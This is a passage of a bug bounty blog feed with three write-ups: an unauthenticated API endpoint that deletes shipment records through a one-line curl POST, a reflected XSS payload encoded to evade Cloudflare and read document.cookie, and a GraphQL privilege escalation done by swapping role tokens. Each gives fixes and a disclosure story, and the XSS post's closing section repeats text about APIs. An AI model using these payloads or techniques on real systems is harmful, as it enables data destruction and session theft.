<li data-start="2384" data-end="2418">
<p data-start="2386" data-end="2418">No session or login were needed.</p>
</li>
<li data-start="2419" data-end="2450">
<p data-start="2421" data-end="2450">No user roles were validated.</p>
</li>
<li data-start="2451" data-end="2510">
<p data-start="2453" data-end="2510">Anyone who had this URL could delete their shipment data.</p>
</li>
</ul>
<p data-start="2512" data-end="2602">To summarize: anyone could open a terminal, enter one command, and begin deleting records.</p>
<hr data-start="2604" data-end="2607" />
<h2 data-start="2609" data-end="2634">Proof of Concept (PoC)</h2>
<div class="contain-inline-size rounded-2xl border-[0.5px] border-token-border-medium relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">curl -X POST https://xyz.com/shipments/deleted<br />
</code></div>
</div>
<p data-start="2696" data-end="2852">That&#8217;s it. This one-liner might erase shipment records in production. The fact that an API action with such great power was not authenticated is terrifying.</p>
<figure style="width: 875px" class="wp-caption alignnone"><img decoding="async" src="https://miro.medium.com/v2/resize:fit:875/1*GGUJ_TnU04KMYVEHjkBspw.png" alt="Unauthenticated API endpoint vulnerability allowing unauthorized data deletion without login on xyz.com" width="875" height="282" title="Critical Security Vulnerability: Unauthenticated Access to /shipments/deleted 1 Endpoint Allows Irreversible Data Deletion 1"><figcaption class="wp-caption-text">Example of a critical security flaw where an unauthenticated API endpoint enables data deletion without login, exposing shipment data to public access.</figcaption></figure>
<hr data-start="2854" data-end="2857" />
<h2 data-start="2859" data-end="2898">Exploit Impact: What Could Go Wrong?</h2>
<p data-start="2900" data-end="2942">Let&#8217;s dive into the impact in more detail:</p>
<ol data-start="2944" data-end="3459">
<li data-start="2944" data-end="3017">
<p data-start="2946" data-end="3017">Unauthorized Data Deletion<br data-start="2972" data-end="2975" />No login necessary. Anyone might delete.</p>
</li>
<li data-start="3019" data-end="3117">
<p data-start="3021" data-end="3117">No Recovery<br data-start="3032" data-end="3035" />The deletion was irreversible. Once a shipment was deleted, there was no &#8220;undo.&#8221;</p>
</li>
<li data-start="3119" data-end="3240">
<p data-start="3121" data-end="3240">Automation Threat<br data-start="3138" data-end="3141" />Attackers would be able to automate this call with scripts and destroy whole datasets in minutes.</p>
</li>
<li data-start="3242" data-end="3350">
<p data-start="3244" data-end="3350">Business Disruption<br data-start="3263" data-end="3266" />The platform might lose order tracking, shipment history, and business continuity.</p>
</li>
<li data-start="3352" data-end="3459">
<p data-start="3354" data-end="3459">Legal Risk<br data-start="3364" data-end="3367" />Irreversible data loss without logs might breach data protection regulations such as GDPR.</p>
</li>
</ol>
<p data-start="3461" data-end="3559">This problem didn&#8217;t just impact data—it could bring operations to a standstill and hurt customers.</p>
<hr data-start="3561" data-end="3564" />
<h2 data-start="3566" data-end="3598">Reproducing the Vulnerability</h2>
<p data-start="3600" data-end="3621">Here&#8217;s what I tested:</p>
<ol data-start="3623" data-end="3759">
<li data-start="3623" data-end="3638">
<p data-start="3625" data-end="3638">Open terminal</p>
</li>
<li data-start="3639" data-end="3679">
<p data-start="3641" data-end="3679">Enter the curl command mentioned above</p>
</li>
<li data-start="3680" data-end="3759">
<p data-start="3682" data-end="3759">Shipment records were wiped out in an instant without login or authentication</p>
</li>
</ol>
<p data-start="3761" data-end="3832">I also tested with a browser-based tool and validated the same outcome.</p>
<hr data-start="3834" data-end="3837" />
<h2 data-start="3839" data-end="3883">Why This Happens: Missing Security Layers</h2>
<p data-start="3885" data-end="4011">Several developers assume that their APIs will only be requested from legitimate clients. But this is an unfounded assumption:</p>
<ul data-start="4013" data-end="4234">
<li data-start="4013" data-end="4107">
<p data-start="4015" data-end="4107"><strong data-start="4015" data-end="4054">Security by Obscurity doesn&#8217;t work:</strong> If an endpoint is exposed, someone will discover it.</p>
</li>
<li data-start="4108" data-end="4234">
<p data-start="4110" data-end="4234"><strong data-start="4110" data-end="4137">Forgetting Auth Checks:</strong> Developers, sometimes in staging or testing, disable auth. It should never happen in production.</p>
</li>
</ul>
<hr data-start="4236" data-end="4239" />
<h2 data-start="4241" data-end="4261">Recommended Fixes</h2>
<ol data-start="4263" data-end="5025">
<li data-start="4263" data-end="4370">
<p data-start="4265" data-end="4370"><strong data-start="4265" data-end="4314">Require Authentication for All Sensitive APIs</strong><br data-start="4314" data-end="4317" />Authenticate with tokens (JWT, OAuth2) or API keys.</p>
</li>
<li data-start="4372" data-end="4494">
<p data-start="4374" data-end="4494"><strong data-start="4374" data-end="4414">Use Role-Based Access Control (RBAC)</strong><br data-start="4414" data-end="4417" />Ensure only users of the appropriate role (e.g., admin) can delete records.</p>
</li>
<li data-start="4496" data-end="4631">
<p data-start="4498" data-end="4631"><strong data-start="4498" data-end="4528">Include Request Validation</strong><br data-start="4528" data-end="4531" />Validate inputs, check CSRF tokens, and include confirmation dialogues for destructive operations.</p>
</li>
<li data-start="4633" data-end="4765">
<p data-start="4635" data-end="4765"><strong data-start="4635" data-end="4653">Log Everything</strong><br data-start="4653" data-end="4656" />Log the who, what, and when for endpoint access. Add exceptions for user IPs, timestamps, and action types.</p>
</li>
<li data-start="4767" data-end="4911">
<p data-start="4769" data-end="4911"><strong data-start="4769" data-end="4793">Remove Public Access</strong><br data-start="4793" data-end="4796" />Don&#8217;t leave sensitive endpoints open to public internet exposure. Utilize API Gateways, WAFs, or IP whitelisting.</p>
</li>
<li data-start="4913" data-end="5025">
<p data-start="4915" data-end="5025"><strong data-start="4915" data-end="4936">Monitor and Alert</strong><br data-start="4936" data-end="4939" />Implement alerts for suspicious API access patterns, such as bulk deletion attempts.</p>
</li>
</ol>
<hr data-start="5027" data-end="5030" />
<h2 data-start="5032" data-end="5066">Responsible Disclosure Timeline</h2>
<div class="_tableContainer_16hzy_1">
<div class="_tableWrapper_16hzy_14 group flex w-fit flex-col-reverse" tabindex="-1">
<table class="w-fit min-w-(--thread-content-width)" data-start="5068" data-end="5532">
<thead data-start="5068" data-end="5123">
<tr data-start="5068" data-end="5123">
<th data-start="5068" data-end="5082" data-col-size="sm">Date</th>
<th data-start="5082" data-end="5123" data-col-size="md">Event</th>
</tr>
</thead>
<tbody data-start="5181" data-end="5532">
<tr data-start="5181" data-end="5238">
<td data-start="5181" data-end="5196" data-col-size="sm">Oct 11, 2024</td>
<td data-col-size="md" data-start="5196" data-end="5238">Report from researcher submitted</td>
</tr>
<tr data-start="5239" data-end="5304">
<td data-start="5239" data-end="5254" data-col-size="sm">Oct 17, 2024</td>
<td data-col-size="md" data-start="5254" data-end="5304">Security team requested additional information</td>
</tr>
<tr data-start="5305" data-end="5361">
<td data-start="5305" data-end="5320" data-col-size="sm">Oct 18, 2024</td>
<td data-col-size="md" data-start="5320" data-end="5361">Clarification and PoC provided</td>
</tr>
<tr data-start="5362" data-end="5418">
<td data-start="5362" data-end="5377" data-col-size="sm">Oct 22, 2024</td>
<td data-col-size="md" data-start="5377" data-end="5418">Vulnerability acknowledged and triaged</td>
</tr>
<tr data-start="5419" data-end="5475">
<td data-start="5419" data-end="5434" data-col-size="sm">Nov 12, 2024</td>
<td data-col-size="md" data-start="5434" data-end="5475">Retest showed the issue persisted</td>
</tr>
<tr data-start="5476" data-end="5532">
<td data-start="5476" data-end="5491" data-col-size="sm">Dec 3, 2024</td>
<td data-col-size="md" data-start="5491" data-end="5532">Patch deployed and verified as fixed</td>
</tr>
</tbody>
</table>
<div class="sticky end-(--thread-content-margin) h-0 self-end select-none">
<div class="absolute end-0 flex items-end"></div>
</div>
</div>
</div>
<hr data-start="5534" data-end="5537" />
<h2 data-start="5539" data-end="5574">Lessons for Security Researchers</h2>
<ol data-start="5576" data-end="6091">
<li data-start="5576" data-end="5675">
<p data-start="5578" data-end="5675"><strong data-start="5578" data-end="5602">Check Every Endpoint</strong><br data-start="5602" data-end="5605" />Even small or outdated endpoints may still be active and vulnerable.</p>
</li>
<li data-start="5677" data-end="5774">
<p data-start="5679" data-end="5774"><strong data-start="5679" data-end="5707">JavaScript is a Goldmine</strong><br data-start="5707" data-end="5710" />Inspect JavaScript files for references to internal API paths.</p>
</li>
<li data-start="5776" data-end="5896">
<p data-start="5778" data-end="5896"><strong data-start="5778" data-end="5800">Test Without Login</strong><br data-start="5800" data-end="5803" />Before logging in, try common endpoints unauthenticated. It may lead to surprising results.</p>
</li>
<li data-start="5898" data-end="6000">
<p data-start="5900" data-end="6000"><strong data-start="5900" data-end="5934">Combine Tools + Manual Testing</strong><br data-start="5934" data-end="5937" />Use Burp Suite, FFUF, or bespoke scripts, but check manually.</p>
</li>
<li data-start="6002" data-end="6091">
<p data-start="6004" data-end="6091"><strong data-start="6004" data-end="6017">Follow Up</strong><br data-start="6017" data-end="6020" />Retest always after reporting to make sure patches have been applied.</p>
</li>
</ol>
<hr data-start="6093" data-end="6096" />
<h2 data-start="6098" data-end="6115">Final Thoughts</h2>
<p data-start="6117" data-end="6289">This wasn&#8217;t some high-fancy zero-day or intricate chain of exploits. It was a humble but ruinous flaw—an unauthenticated API endpoint that supported destructive operations.</p>
<p data-start="6291" data-end="6400">The solution? Simple too. But finding it required diligent testing, attention to detail, and inquisitiveness.</p>
<p data-start="6402" data-end="6558">For coders, the message is clear: always lock down your <strong>Unauthenticated API Endpoint </strong>. Don&#8217;t let bad guys wreak havoc. For researchers, never take an endpoint at face value—test it.</p>
<p data-start="6560" data-end="6628">Security doesn&#8217;t need to be complex. But it needs to be intentional.</p>
<p data-start="6630" data-end="6671"><strong data-start="6630" data-end="6671">Let&#8217;s create secure apps, bug by bug.</strong></p>
<hr data-start="6673" data-end="6676" />
<p><strong>Other Internal Blog Link:</strong></p>
<ul data-spread="false">
<li><a href="https://hackersatty.com/bug-bounty-blogs">Hackersatty</a></li>
</ul>
<p data-start="6678" data-end="6692"><strong data-start="6678" data-end="6692">Resources:</strong></p>
<ul data-start="6694" data-end="6966">
<li data-start="6694" data-end="6768">
<p data-start="6696" data-end="6768"><a class="cursor-pointer" href="https://owasp.org/www-project-top-ten/" target="_new" rel="noopener" data-start="6696" data-end="6768">OWASP API Security Top 10</a></p>
</li>
<li data-start="6769" data-end="6873">
<p data-start="6771" data-end="6873"><a class="" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Authentication" target="_new" rel="noopener" data-start="6771" data-end="6873">MDN Web Docs – HTTP Authentication</a></p>
</li>
<li data-start="6874" data-end="6966">
<p data-start="6876" data-end="6966"><a class="cursor-pointer" href="https://portswigger.net/burp" target="_new" rel="noopener" data-start="6876" data-end="6966">Burp Suite – Access Control Testing</a></p>
</li>
</ul>
<ul data-spread="false">
<li>
<h2>Final Thoughts: Keep Hunting, Keep Learning</h2>
<p>This was one of my earliest critical bug bounty finds and taught me that <strong>Unauthenticated API Endpoint</strong><strong> are one of the most vulnerable attack surfaces today</strong>. With tools like Swagger, Postman, and Burp Suite at your disposal, you don’t need to brute force—just observe and test logically.</p>
<p>🔍<strong>Unauthenticated API Endpoint</strong><strong> is more than headers and tokens—it&#8217;s about understanding how developers structure access and how attackers think.</strong></p>
<p>If you found this write-up helpful, feel free to connect with me on <a href="https://www.linkedin.com/in/hackersatty/" target="_blank" rel="noopener">LinkedIn</a> or follow my work on <a href="https://twitter.com/hackersatty" target="_blank" rel="noopener">Twitter</a>.</p>
<p>Until next time, stay curious and stay secure! 🔐</li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://hackersatty.com/unauthenticated-api-endpoint-2/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">273</post-id>	</item>
		<item>
		<title>$200 XSS Exploit: Bypass Cloudflare Using Waybackurls – A Complete Guide for Bug Hunters</title>
		<link>https://hackersatty.com/cloudflare-xss-bypass/</link>
					<comments>https://hackersatty.com/cloudflare-xss-bypass/#respond</comments>
		
		<dc:creator><![CDATA[hackersatty]]></dc:creator>
		<pubDate>Sun, 01 Jun 2025 20:04:44 +0000</pubDate>
				<category><![CDATA[Bug Bounty Blogs]]></category>
		<category><![CDATA[Bug Bounty]]></category>
		<category><![CDATA[Hackerone]]></category>
		<category><![CDATA[hackersatty]]></category>
		<category><![CDATA[Waybackurls]]></category>
		<category><![CDATA[XSS Bug bounty]]></category>
		<guid isPermaLink="false">https://hackersatty.com/?p=248</guid>

					<description><![CDATA[By Satyam Pawale (@hackersatty) About Me Hi! I’m Satyam Pawale (@hackersatty), a passionate bug bounty hunter. In this article, I’ll take you through one of my real-world XSS vulnerability discoveries &#8230; <a href="https://hackersatty.com/cloudflare-xss-bypass/" class="more-link">Read More</a>]]></description>
										<content:encoded><![CDATA[
<p data-pm-slice="1 1 []"><em>By Satyam Pawale (@hackersatty)</em></p>
<div><hr /></div>
<h2>About Me</h2>
<p>Hi! I’m Satyam Pawale (@hackersatty), a passionate bug bounty hunter. In this article, I’ll take you through one of my real-world XSS vulnerability discoveries that earned me a $200 bounty. We’ll walk through:</p>
<ul data-spread="false">
<li>
<p>How I identified the vulnerable parameter</p>
</li>
<li>
<p>How I used Waybackurls to bypass Cloudflare</p>
</li>
<li>
<p>The exact payload and encoding used</p>
</li>
<li>
<p>Impact analysis (session hijacking, data theft)</p>
</li>
<li>
<p>How to responsibly report the bug</p>
</li>
</ul>
<p>If you’re learning bug bounty hunting, this deep guide will equip you with practical steps and critical insights into exploiting and defending against XSS vulnerabilities.</p>
<div><hr /></div>
<h2>What is Reflected XSS?</h2>
<p><strong>Reflected Cross-Site Scripting (XSS)</strong> is a security flaw that occurs when a web application immediately reflects user input without sanitizing or validating it. For example, if a user inputs JavaScript code in a URL parameter and the server reflects it back into the HTML response, that code executes in the victim’s browser.</p>
<h3>Example Impact:</h3>
<ul data-spread="false">
<li>
<p>Session Hijacking</p>
</li>
<li>
<p>Account Takeover</p>
</li>
<li>
<p>Phishing attacks</p>
</li>
<li>
<p>Bypassing security protections like Cloudflare</p>
</li>
</ul>
<p>A vulnerable endpoint might look like:</p>
<pre><code>https://example.com/ajax/load.php?game_id=&lt;script&gt;alert(1)&lt;/script&gt;</code></pre>
<div><hr /></div>
<h2>Discovery and Initial Testing</h2>
<p>I started testing a web application that used Cloudflare as its WAF (Web Application Firewall). While many parameters were sanitized on modern endpoints, I wanted to check if older, unmaintained endpoints existed.</p>
<h3>Step 1: Finding Old URLs Using Waybackurls</h3>
<p>To search archived endpoints, I used the Waybackurls tool:</p>
<pre><code>waybackurls example.com &gt; urls.txt</code></pre>
<p>This revealed endpoints like:</p>
<pre><code>https://example.com/ajax/load.php?game_id=123
https://example.com/search.php?q=123</code></pre>
<p>Many of these were no longer linked on the website, but some were still functional. This is a goldmine for XSS testing.</p>
<div><hr /></div>
<h2>Identifying the Vulnerable Parameter</h2>
<p>Among these, the <code>game_id</code> parameter on <code>load.php</code> reflected input directly into the page without encoding or sanitization.</p>
<p>I first tested this URL:</p>
<pre><code>https://example.com/ajax/load.php?game_id=&lt;svg onload=alert(1)&gt;</code></pre>
<p>Cloudflare blocked the request.</p>
<p>But the fact that it was reflecting content hinted at a deeper issue. So, I moved to encoding the payload.</p>
<div><hr /></div>
<h2>Crafting and Encoding the XSS Payload</h2>
<h3>Initial Payload:</h3>
<pre><code>&lt;svg onload=prompt(document.cookie)&gt;</code></pre>
<h3>Encoded Version (To Bypass Cloudflare):</h3>
<pre><code>Dec%3a%20%3csvg%20onload%3dprompt%26%230000000040document%2ecookie)%3e</code></pre>
<p>The trick is using special characters, HTML entity encoding (<code>%3c</code>, <code>%3e</code>, etc.), and payload obfuscation (e.g., <code>&amp;%230000000040</code> for <code>@</code>) to evade WAF pattern matching.</p>
<div><hr /></div>
<h2>Final Exploit URL</h2>
<p>I injected the encoded payload into the vulnerable parameter:</p>
<pre><code>https://example.com/ajax/load.php?game_id=Dec%3a%20%3csvg%20onload%3dprompt%26%230000000040document%2ecookie)%3e&amp;sort=id-desc</code></pre>
<p>Upon visiting this URL in the browser, the page executed the JavaScript and showed a cookie prompt — confirming the XSS.</p>
<div><hr /></div>
<h2>Real-World Impact: Why This Matters</h2>
<p>This is more than just an alert box. With this kind of XSS vulnerability, an attacker could:</p>
<ol start="1" data-spread="false">
<li>
<p>Steal Session Cookies: Gain access to authenticated sessions</p>
</li>
<li>
<p>Impersonate Admin Users</p>
</li>
<li>
<p>Craft Phishing Campaigns: Alter the DOM to trick users</p>
</li>
<li>
<p>Exfiltrate Data: Send sensitive info to a third-party domain</p>
</li>
<li>
<p>Bypass Cloudflare’s WAF: Encoding and archive hunting helped bypass filtering</p>
</li>
</ol>
<p>This XSS existed despite the site using Cloudflare, showing that WAFs are not foolproof.</p>
<div><hr /></div>
<h2>Step-by-Step Exploitation Recap</h2>
<h3>Step 1: Run Waybackurls</h3>
<pre><code>waybackurls example.com &gt; urls.txt</code></pre>
<h3><img decoding="async" class="alignnone" src="https://miro.medium.com/v2/resize:fit:875/1*w71NdMxno_uf2ESn2ukAMQ.png" alt="Reflected XSS Exploit Bypassing Cloudflare using Encoded Payload" width="875" height="445" title="$200 XSS Exploit: Bypass Cloudflare Using Waybackurls – A Complete Guide for Bug Hunters 4"></h3>
<h3>Step 2: Identify Reflection Points</h3>
<p>Test URLs with special characters:</p>
<pre><code>https://example.com/ajax/load.php?game_id=&lt;test&gt;</code></pre>
<h3>Step 3: Craft Payload</h3>
<p>Use <code>&lt;svg onload=prompt(document.cookie)&gt;</code> as base.</p>
<h3>Step 4: Encode the Payload</h3>
<p>Use HTML and URL encoding to bypass WAFs.</p>
<h3>Step 5: Inject &amp; Confirm Execution</h3>
<p>Visit encoded URL. Confirm if cookies or other actions are triggered.</p>
<p><img loading="lazy" decoding="async" class="alignnone" src="https://miro.medium.com/v2/resize:fit:875/1*IITaCrZqNeSdVRIE89auIQ.png" alt="Reflected XSS Exploit Bypassing Cloudflare using Encoded Payload" width="875" height="297" title="$200 XSS Exploit: Bypass Cloudflare Using Waybackurls – A Complete Guide for Bug Hunters 5"></p>
<div><hr /></div>
<h2>How to Report Responsibly</h2>
<p>When you find a valid XSS vulnerability:</p>
<ul data-spread="false">
<li>
<p>Write a clear report with step-by-step instructions</p>
</li>
<li>
<p>Include screenshots or video proof</p>
</li>
<li>
<p>Highlight risk and business impact</p>
</li>
<li>
<p>Provide remediation tips (see next section)</p>
</li>
</ul>
<p>This professional approach led to my report being accepted and rewarded with $200.</p>
<div><hr /></div>
<h2>Preventing Reflected XSS – Tips for Developers</h2>
<h3>Input Validation</h3>
<p>Ensure all inputs are validated server-side, not just in JavaScript.</p>
<h3>Output Encoding</h3>
<p>Use proper encoding libraries to prevent raw HTML/JavaScript injection.</p>
<h3>Implement CSP</h3>
<p>A strict Content Security Policy limits allowed scripts.</p>
<h3>Disable Old Endpoints</h3>
<p>Endpoints like <code>ajax/load.php</code> may remain live unintentionally.</p>
<h3>Use Frameworks with Built-in XSS Protection</h3>
<p>React, Vue, Angular, etc. escape user data by default.</p>
<div><hr /></div>
<h2>Key Lessons for Bug Bounty Hunters</h2>
<ul data-spread="false">
<li>
<p>Use tools like Waybackurls to uncover legacy vulnerabilities.</p>
</li>
<li>
<p>Obfuscate payloads with encoding to bypass WAF filters.</p>
</li>
<li>
<p>Don’t rely on modern endpoints only — check archived, deprecated URLs.</p>
</li>
<li>
<p>Combine your XSS findings with other bugs (e.g., session fixation or open redirect) for greater impact.</p>
</li>
</ul>
<div><hr /></div>
<h2>Final Thoughts</h2>
<p>Reflected XSS vulnerabilities are often overlooked in modern apps, but they can still cause significant damage, especially when combined with weak defenses or forgotten endpoints. This case study proved that even with Cloudflare in place, encoded payloads and historical data can be used to craft successful exploits.</p>
<p>Always test ethically, report responsibly, and never stop learning. Want more content like this? Check out my bug bounty blog and follow for real-life hacking walkthroughs.</p>
<div><hr /></div>
<p><strong>Other Internal Blog Link:</strong></p>
<ul data-spread="false">
<li>
<p><a href="https://hackersatty.com/bug-bounty-blogs">Hackersatty</a></p>
</li>
</ul>
<p><strong>External DoFollow Links:</strong></p>
<ul data-spread="false">
<li>
<p><a href="https://owasp.org/www-community/attacks/xss/" target="_blank" rel="noopener">OWASP XSS</a></p>
</li>
<li>
<p><a href="https://github.com/tomnomnom/waybackurls" target="_blank" rel="noopener">WAYBACKURLS</a></p>
</li>
<li>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP" target="_blank" rel="noopener">XSS CSP</a></p>
<h2> </h2>
<h2>Final Thoughts: Keep Hunting, Keep Learning</h2>
<p>This was one of my earliest critical bug bounty finds and taught me that <strong>APIs are one of the most vulnerable attack surfaces today</strong>. With tools like Swagger, Postman, and Burp Suite at your disposal, you don’t need to brute force—just observe and test logically.</p>
<p>🔍 <strong>API is more than headers and tokens—it&#8217;s about understanding how developers structure access and how attackers think.</strong></p>
<p>If you found this write-up helpful, feel free to connect with me on <a href="https://www.linkedin.com/in/hackersatty/" target="_blank" rel="noopener">LinkedIn</a> or follow my work on <a href="https://twitter.com/hackersatty" target="_blank" rel="noopener">Twitter</a>.</p>
<p>Until next time, stay curious and stay secure! 🔐</p>
</li>
<li> </li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://hackersatty.com/cloudflare-xss-bypass/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">248</post-id>	</item>
		<item>
		<title>Privilege Escalation in GraphQL – 1 Shocking Real-World Bug Bounty Exploit</title>
		<link>https://hackersatty.com/privilege-escalation-graphql/</link>
					<comments>https://hackersatty.com/privilege-escalation-graphql/#comments</comments>
		
		<dc:creator><![CDATA[hackersatty]]></dc:creator>
		<pubDate>Sat, 31 May 2025 17:03:08 +0000</pubDate>
				<category><![CDATA[Bug Bounty Blogs]]></category>
		<category><![CDATA[Bug Bounty]]></category>
		<category><![CDATA[Bug Bounty writeup]]></category>
		<category><![CDATA[ggql]]></category>
		<category><![CDATA[graphql]]></category>
		<category><![CDATA[IDOR]]></category>
		<category><![CDATA[idor bug bounty]]></category>
		<category><![CDATA[privilege Escalation]]></category>
		<guid isPermaLink="false">https://hackersatty.com/?p=228</guid>

					<description><![CDATA[GraphQL is an awesome query language for APIs, letting you grab exactly the data you need. But without tight security, its flexibility can backfire. During a test, I found a flaw in a GraphQL endpoint (think sample paths like /graphql or /graphql.json). A user with a “finance” role token could tweak requests to sneak into admin-level data—yikes! The server skipped privilege checks, opening the door to unauthorized access. Hackersatty is here to break it down!]]></description>
										<content:encoded><![CDATA[<p></p>
<h6 class="wp-block-heading"><em>By Satyam Pawale (@hackersatty)</em></h6>
<h2>About Me</h2>
<p>Hey security enthusiasts! I’m <strong>Satyam Pawale</strong>, better known in the cybersecurity and bug bounty community as <strong>@hackersatty</strong>. I specialize in identifying <strong>real-world security vulnerabilities</strong> in web applications using smart reconnaissance, API testing, and JavaScript analysis and Privilege Escalation. I began my bug bounty journey in 2024 and have been passionate about securing web systems ever since.</p>
<div><hr /></div>
<h2>Privilege Escalation in GraphQL: How I Gained Unauthorized Admin Access</h2>
<p>In the world of modern APIs, GraphQL has become increasingly popular for its flexibility and efficiency. However, this flexibility often comes at the cost of security if not implemented properly. One common issue is where a user with lower privileges is able to perform actions or access data meant for higher-privileged users.</p>
<p>In this detailed blog, I will walk you through a real-life bug bounty scenario where a user with a &#8220;finance&#8221; role was able to exploit GraphQL endpoints to gain unauthorized access to admin data. This exploit highlights critical lapses in role-based access control (RBAC) and shows why it&#8217;s essential to validate permissions at every level of API design.</p>
<div><hr /></div>
<h2>What is Privilege Escalation in GraphQL?</h2>
<p>Privilege escalation in GraphQL typically refers to an attacker manipulating queries or tokens in a way that allows them to gain access to data or functionality beyond what their role should permit. This usually happens because of misconfigured access control on the backend or poor handling of user roles within queries and mutations.</p>
<p>GraphQL schemas expose a lot of information through introspection. If the API isn&#8217;t properly locked down, a user can query for schema metadata, discover sensitive fields, and craft malicious queries even with a low-privilege token.</p>
<div><hr /></div>
<h2>Background: The Application I Tested</h2>
<p>The application was a business management platform with GraphQL-based APIs. Users were segmented by roles: admin, finance, operations, and customer support. The finance role was intended only to view transaction reports and generate invoices. The admin role, on the other hand, had access to user management, product creation, and system configurations.</p>
<p>Endpoints: </p>
<p>Privilege Escaltion:</p>
<ol>
<li>Admin</li>
<li>Finance</li>
</ol>
<ul data-spread="false">
<li>
<p><code>/graphql</code></p>
</li>
<li>
<p><code>/graphql.json</code></p>
</li>
<li>
<p>Custom aliases such as <code>/ggql</code></p>
</li>
</ul>
<p>My role: finance (using a test account). (Privilege Escalation on admin )</p>
<div><hr /></div>
<h2>Step-by-Step Exploitation</h2>
<h3>Step 1: GraphQL Endpoint Discovery</h3>
<p>First, I identified the GraphQL endpoints using common paths:</p>
<ul data-spread="false">
<li>
<p><code>/graphql</code> returned a working GraphQL interface</p>
</li>
<li>
<p>Using tools like Postman and InQL, I discovered that introspection was enabled</p>
</li>
</ul>
<p>I downloaded the entire schema and noted down all queries and mutations.</p>
<div><hr /></div>
<h3>Step 2: Sensitive Mutation Discovery</h3>
<p>One mutation drew my attention:</p>
<pre><code>mutation CreateProduct($id: String!, $name: String!) {
  createProduct(id: $id, name: $name) {
    id
    name
    createdBy
  }
}</code></pre>
<p>This was clearly meant for the admin role. It allowed the creation of a product in the system.</p>
<div><hr /></div>
<h3>Step 3: Capture an Admin Request (Simulated)</h3>
<p>Using a test admin account, I observed the request sent for creating a product. It included:</p>
<ul data-spread="false">
<li>
<p>Authorization: Bearer <code>adminToken</code></p>
</li>
<li>
<p>GraphQL mutation with product ID and name</p>
</li>
</ul>
<div><hr /></div>
<h3>Step 4: Replace Admin Token with Finance Token</h3>
<p>I replaced the admin token with a valid finance user token and replayed the exact same mutation.</p>
<p>To my surprise, the request was successful.</p>
<p><strong>Why did this happen?</strong> The backend didn&#8217;t validate if the user role matched the operation being performed. The server simply checked if the token was valid, not if the token belonged to a user with the correct privileges.</p>
<figure style="width: 875px" class="wp-caption alignnone"><img loading="lazy" decoding="async" src="https://miro.medium.com/v2/resize:fit:875/1*DfDm3P9sHafYHpp4DCH1JA.png" alt="Privilege Escalation in GraphQL exploiting finance role token to gain unauthorized admin access" width="875" height="408" title="Privilege Escalation in GraphQL – 1 Shocking Real-World Bug Bounty Exploit 6"><figcaption class="wp-caption-text">Real-world example of Privilege Escalation in GraphQL: Exploiting a Finance Role Token to Access Admin-Level Controls.</figcaption></figure>
<div><hr /></div>
<h2>Real-World Impact of the Exploit</h2>
<p>This vulnerability had serious implications:</p>
<ul data-spread="false">
<li>
<p>The finance user could create products without proper authorization.</p>
</li>
<li>
<p>They could potentially access audit logs, admin reports, and user data.</p>
</li>
<li>
<p>In an extended scenario, this could be chained with other vulnerabilities to gain full system compromise.</p>
</li>
</ul>
<p>This is not a theoretical issue. Many real-world applications using GraphQL face similar issues due to:</p>
<ul data-spread="false">
<li>
<p>Missing server-side role validation</p>
</li>
<li>
<p>Over-exposed GraphQL schemas</p>
</li>
<li>
<p>Poorly implemented authorization layers</p>
</li>
</ul>
<div><hr /></div>
<h2>Root Cause Analysis : Privilege Escalation</h2>
<ol start="1" data-spread="true">
<li>
<p><strong>Missing Role Check:</strong> The <code>createProduct</code> mutation lacked any server-side validation for the user&#8217;s role. It assumed the frontend would hide or restrict access.</p>
</li>
<li>
<p><strong>Overuse of Trust in JWTs:</strong> While the JWT tokens were valid, the claims within them weren’t checked during sensitive operations. For example, <code>role=finance</code> should have triggered a denial response.</p>
</li>
<li>
<p><strong>Exposed Introspection Schema:</strong> This allowed discovery of mutations that shouldn&#8217;t have been publicly visible.</p>
</li>
</ol>
<div><hr /></div>
<h2>Mitigation Strategies</h2>
<h3>1. Implement Strong Role-Based Access Control (RBAC)</h3>
<p>Every query and mutation must validate the user&#8217;s role before processing.</p>
<pre><code>if (user.role !== 'admin') {
  throw new Error('Unauthorized');
}</code></pre>
<p>Don&#8217;t rely solely on frontend validation.</p>
<h3>2. Disable Introspection in Production</h3>
<p>Use middleware to block schema introspection in production environments.</p>
<pre><code>const { graphqlHTTP } = require('express-graphql');
graphqlHTTP({
  schema,
  graphiql: false,
  customFormatErrorFn: () =&gt; null,
});</code></pre>
<h3>3. Enforce Field-Level Authorization</h3>
<p>Instead of protecting only at the endpoint or mutation level, ensure that <strong>each field</strong> in your schema is protected.</p>
<h3>4. Audit and Monitor</h3>
<p>Set up logging and monitoring on sensitive queries. Alert on:</p>
<ul data-spread="false">
<li>
<p>Role misuse</p>
</li>
<li>
<p>Excessive replayed queries</p>
</li>
<li>
<p>Field access patterns</p>
</li>
</ul>
<h3>5. Use Allowlists</h3>
<p>Only allow access to a predefined list of queries or mutations based on roles. Tools like Hasura or custom middleware can help enforce this.</p>
<div><hr /></div>
<h2>Key Lessons for Bug Bounty Hunters</h2>
<ul data-spread="false">
<li>
<p>Always inspect GraphQL introspection results for overlooked fields and mutations.</p>
</li>
<li>
<p>Try swapping valid tokens across roles to test access control flaws and hunt of Privilege Escalation</p>
</li>
<li>
<p>Just because a mutation is hidden on the frontend doesn&#8217;t mean it can&#8217;t be accessed.</p>
</li>
<li>
<p>Combine escalation with IDOR or insecure object references to expand the impact.</p>
</li>
</ul>
<div><hr /></div>
<h2>Final Thoughts</h2>
<p>This bug was simple but devastating. It highlights why GraphQL applications need strict backend validation and continuous security review. Developers often rely on frontend controls or incomplete middleware, assuming it will prevent abuse. However, security must always be enforced server-side.</p>
<p>As a bug bounty hunter, your job is to think creatively. Ask questions like:</p>
<ul data-spread="false">
<li>
<p>What if I change the token?</p>
</li>
<li>
<p>What if I access the mutation directly?</p>
</li>
<li>
<p>What if I modify hidden fields?</p>
</li>
</ul>
<p>GraphQL gives attackers power. Make sure your security matches that power.</p>
<div><hr />
<p><strong>Related Internal Link:</strong></p>
<p><a href="https://hackersatty.com/javascript-analysis-bug-bounty/">How I Leaked Admin Metadata via Token Swap in a Real Bug Bounty</a></p>
</div>
